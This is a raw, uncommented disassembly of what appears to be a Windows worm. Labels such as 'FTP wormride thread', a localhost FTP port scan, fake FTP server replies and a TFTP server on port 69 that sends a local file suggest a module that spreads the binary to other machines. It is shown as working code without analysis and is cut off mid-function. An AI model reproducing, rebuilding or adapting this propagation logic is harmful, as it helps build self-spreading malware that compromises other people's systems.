--------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41113B proc near ; DATA XREF: sub_411BBC+156o var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_544 = dword ptr -544h var_540 = byte ptr -540h var_53C = byte ptr -53Ch var_538 = byte ptr -538h var_534 = dword ptr -534h var_530 = byte ptr -530h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_318 = byte ptr -318h var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+arg_0] mov [ebp+var_10C], eax push offset dword_41C6B0 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch mov al, byte_41DE30 mov [ebp+var_104], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_114], al xor eax, eax lea edi, [ebp+var_113] stosd stosb and [ebp+var_4], 0 and [ebp+var_118], 0 and [ebp+var_108], 0 loc_4111CC: ; CODE XREF: sub_41113B+10Cj ; sub_41113B+1BDj ... push 0EA60h push [ebp+var_10C] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp+var_318] push eax push [ebp+var_10C] call sub_4053DC add esp, 0Ch mov [ebp+var_520], eax cmp [ebp+var_520], 0 jz short loc_411218 cmp [ebp+var_520], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: sub_41113B+D2j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: sub_41113B+DBj lea eax, [ebp+var_108] push eax push offset dword_41C6AC lea eax, [ebp+var_318] push eax call sub_40813C add esp, 0Ch mov [ebp+var_528], eax cmp [ebp+var_528], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: sub_41113B+10Aj lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp+var_51C], eax cmp [ebp+var_51C], 0 jnz short loc_411278 mov [ebp+var_51C], offset byte_41DE30 loc_411278: ; CODE XREF: sub_41113B+131j lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push [ebp+var_528] call sub_40ED38 pop ecx mov [ebp+var_524], eax mov eax, [ebp+var_524] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov [ebp+var_4], 1 push offset dword_41C698 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_41113B+178j mov eax, [ebp+var_524] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov [ebp+var_118], 1 push offset dword_41C684 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: sub_41113B+1D5j cmp [ebp+var_4], 0 jz short loc_41136C cmp [ebp+var_118], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: sub_41113B+226j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: sub_41113B+22Fj mov eax, [ebp+var_524] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset dword_41C670 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: sub_41113B+249j mov eax, [ebp+var_524] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset dword_41C65C push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: sub_41113B+29Fj mov eax, [ebp+var_524] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset dword_41C648 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: sub_41113B+2F5j mov eax, [ebp+var_524] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_41113B+34Bj mov eax, [ebp+var_524] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset dword_41C620 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: sub_41113B+3A1j mov eax, [ebp+var_524] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_52C] push eax lea eax, [ebp+var_540] push eax lea eax, [ebp+var_53C] push eax lea eax, [ebp+var_538] push eax lea eax, [ebp+var_530] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_51C] call sub_416BA2 ; sscanf add esp, 20h movzx eax, [ebp+var_540] push eax movzx eax, [ebp+var_53C] push eax movzx eax, [ebp+var_538] push eax movzx eax, [ebp+var_530] push eax push offset dword_418A50 push 100h lea eax, [ebp+var_104] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp+var_52C] and eax, 0FFh shl eax, 8 mov ecx, [ebp+var_534] and ecx, 0FFh or eax, ecx push eax push offset dword_418A60 push 6 lea eax, [ebp+var_114] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: sub_41113B+3F7j mov eax, [ebp+var_524] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_548], eax cmp [ebp+var_548], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: sub_41113B+51Ej push 2 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B76 ; ftell pop ecx mov [ebp+var_544], eax push 0 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B82 ; fclose pop ecx push [ebp+var_544] push offset dword_41C5E8 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: sub_41113B+4FAj mov eax, [ebp+var_524] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_4050EA add esp, 10h mov [ebp+var_54C], eax cmp [ebp+var_54C], 0 jz short loc_411773 cmp [ebp+var_54C], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: sub_41113B+62Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_41113B+636j push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_554], eax cmp [ebp+var_554], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_41113B+65Bj push 2 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B76 ; ftell pop ecx mov [ebp+var_550], eax push 0 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B82 ; fclose pop ecx push offset dword_41EB2C push [ebp+var_550] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_54C] call sub_4053BF add esp, 0Ch push [ebp+var_54C] call sub_40538D pop ecx push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: sub_41113B+5C1j mov eax, [ebp+var_524] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EB08 call sub_409C88 pop ecx pop ecx inc eax mov [ebp+var_558], eax lea eax, [ebp+var_104] push eax push [ebp+var_558] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset dword_41DAB4 call sub_40D4AB add esp, 14h push 3E8h call dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: sub_41113B+7A4j jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_41113B+74Bj mov eax, [ebp+var_524] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: sub_41113B+A5j ; sub_41113B:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push [ebp+var_10C] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 sub_41113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6D8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset dword_41C6CC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6C8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset dword_41C6BC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6B8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: sub_411D59+6p var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset sub_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_411BBC pop ebp retn 4 sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = byte ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D94 = dword ptr -0D94h var_D90 = dword ptr -0D90h var_D8C = dword ptr -0D8Ch var_D88 = dword ptr -0D88h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D7C = dword ptr -0D7Ch var_D70 = byte ptr -0D70h var_D6F = byte ptr -0D6Fh var_D6E = byte ptr -0D6Eh var_D6D = byte ptr -0D6Dh var_D6C = byte ptr -0D6Ch var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_358 = dword ptr -358h var_354 = byte ptr -354h var_1B0 = word ptr -1B0h var_1AE = word ptr -1AEh var_1AC = dword ptr -1ACh var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_11C = byte ptr -11Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_358] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_108], eax cmp [ebp+var_108], 0FFFFFFFFh jnz short loc_411E1D push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: sub_411DC5+43j lea eax, [ebp+var_104] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_1B0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1B0], 2 push 45h call dword_417238 ; htons mov [ebp+var_1AE], ax lea eax, [ebp+var_104] push eax call dword_417244 ; inet_addr mov [ebp+var_1AC], eax mov [ebp+var_1A0], 1 push 4 lea eax, [ebp+var_1A0] push eax push 4 push 0FFFFh push [ebp+var_108] call dword_417204 ; setsockopt push 10h lea eax, [ebp+var_1B0] push eax push [ebp+var_108] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: sub_411DC5+E8j push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_411F01 push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: sub_411DC5+11Bj mov eax, [ebp+var_358] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp+var_354] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] call sub_416B76 ; ftell pop ecx mov [ebp+var_4], eax push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp+var_19C] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j ; sub_411DC5:loc_4123C6j mov [ebp+var_B64], 1 and [ebp+var_B60], 0 and [ebp+var_B5C], 0 loc_411F7E: ; CODE XREF: sub_411DC5+234j and [ebp+var_B68], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_411F94: ; CODE XREF: sub_411DC5+1C0j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnb short loc_411FBB mov eax, [ebp+var_B68] mov eax, [ebp+eax*4+var_B58] cmp eax, [ebp+var_108] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: sub_411DC5+1F0j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_411DC5+1DBj ; sub_411DC5+1F2j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnz short loc_411FF5 cmp [ebp+var_B5C], 200h jnb short loc_411FF5 mov eax, [ebp+var_B68] mov ecx, [ebp+var_108] mov [ebp+eax*4+var_B58], ecx mov eax, [ebp+var_B5C] inc eax mov [ebp+var_B5C], eax loc_411FF5: ; CODE XREF: sub_411DC5+202j ; sub_411DC5+20Ej xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp+var_B64] push eax push 0 push 0 lea eax, [ebp+var_B5C] push eax push 0 call dword_41722C ; select test eax, eax jle loc_4123B8 mov [ebp+var_D84], 10h mov al, byte_41DE30 mov [ebp+var_D70], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_D6F] rep stosd stosw stosb lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_D80] push eax push 0 push 80h lea eax, [ebp+var_19C] push eax push [ebp+var_108] call dword_417258 ; recvfrom mov [ebp+var_B6C], eax cmp [ebp+var_B6C], 0 jz short loc_412084 cmp [ebp+var_B6C], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: sub_411DC5+2B4j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_411DC5+2BDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_4121C0 movsx eax, [ebp+var_19B] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp+var_19C] mov [ebp+var_D88], eax lea eax, [ebp+var_19C] mov [ebp+var_D8C], eax mov eax, [ebp+var_D88] inc eax inc eax mov [ebp+var_D88], eax mov eax, [ebp+var_D8C] inc eax inc eax mov [ebp+var_D8C], eax push [ebp+var_D8C] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_D8C] lea eax, [ecx+eax+1] mov [ebp+var_D8C], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push [ebp+var_D8C] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 13h push offset dword_41C76C push [ebp+var_108] call dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: sub_411DC5+354j push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 and [ebp+var_D6E], 0 mov [ebp+var_D6D], 1 push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D90], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D90] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto loc_4121BB: ; CODE XREF: sub_411DC5+378j jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: sub_411DC5+2CDj ; sub_411DC5+2DDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_412396 movsx eax, [ebp+var_19B] cmp eax, 4 jnz loc_412396 mov al, [ebp+var_19A] 